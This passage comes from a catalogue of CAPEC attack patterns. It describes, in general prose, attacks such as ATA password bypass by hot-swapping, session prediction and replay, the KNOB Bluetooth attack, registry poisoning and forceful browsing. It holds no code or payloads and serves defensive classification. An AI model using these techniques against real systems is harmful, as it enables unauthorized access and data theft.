In circumstances where an application holds important data client-side in tokens (cookies, URLs, data files, and so forth) that data can be manipulated. If client or server-side application components reinterpret that data as authentication tokens or data (such as store item pricing or wallet information) then even opaquely manipulating that data may bear fruit for an Attacker. In this pattern an attacker undermines the assumption that client side tokens have been adequately protected from tampering through use of encryption or obfuscation.
CAPEC-402: Bypassing ATA Password Security
An adversary exploits a weakness in ATA security on a drive to gain access to the information the drive contains without supplying the proper credentials. ATA Security is often employed to protect hard disk information from unauthorized access. The mechanism requires the user to type in a password before the BIOS is allowed access to drive contents. Some implementations of ATA security will accept the ATA command to update the password without the user having authenticated with the BIOS. This occurs because the security mechanism assumes the user has first authenticated via the BIOS prior to sending commands to the drive. Various methods exist for exploiting this flaw, the most common being installing the ATA protected drive into a system lacking ATA security features (a.k.a. hot swapping). Once the drive is installed into the new system the BIOS can be used to reset the drive password.
CAPEC-45: Buffer Overflow via Symbolic Links
This type of attack leverages the use of symbolic links to cause buffer overflows. An adversary can try to create or manipulate a symbolic link file such that its contents result in out of bounds data. When the target software processes the symbolic link file, it could potentially overflow internal buffers with insufficient bounds checking.
CAPEC-5: Blue Boxing
This type of attack against older telephone switches and trunks has been around for decades. A tone is sent by an adversary to impersonate a supervisor signal which has the effect of rerouting or usurping command of the line. While the US infrastructure proper may not contain widespread vulnerabilities to this type of attack, many companies are connected globally through call centers and business process outsourcing. These international systems may be operated in countries which have not upgraded Telco infrastructure and so are vulnerable to Blue boxing. Blue boxing is a result of failure on the part of the system to enforce strong authorization for administrative functions. While the infrastructure is different than standard current applications like web applications, there are historical lessons to be learned to upgrade the access control for administrative functions.
{'xhtml:b': 'This attack pattern is included in CAPEC for historical purposes.'}
CAPEC-51: Poison Web Service Registry
SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-647: Collect Data from Registries
An adversary exploits a weakness in authorization to gather system-specific data and sensitive information within a registry (e.g., Windows Registry, Mac plist). These contain information about the system configuration, software, operating system, and security. The adversary can leverage information gathered in order to carry out further attacks.
CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)
An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.
CAPEC-87: Forceful Browsing
An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.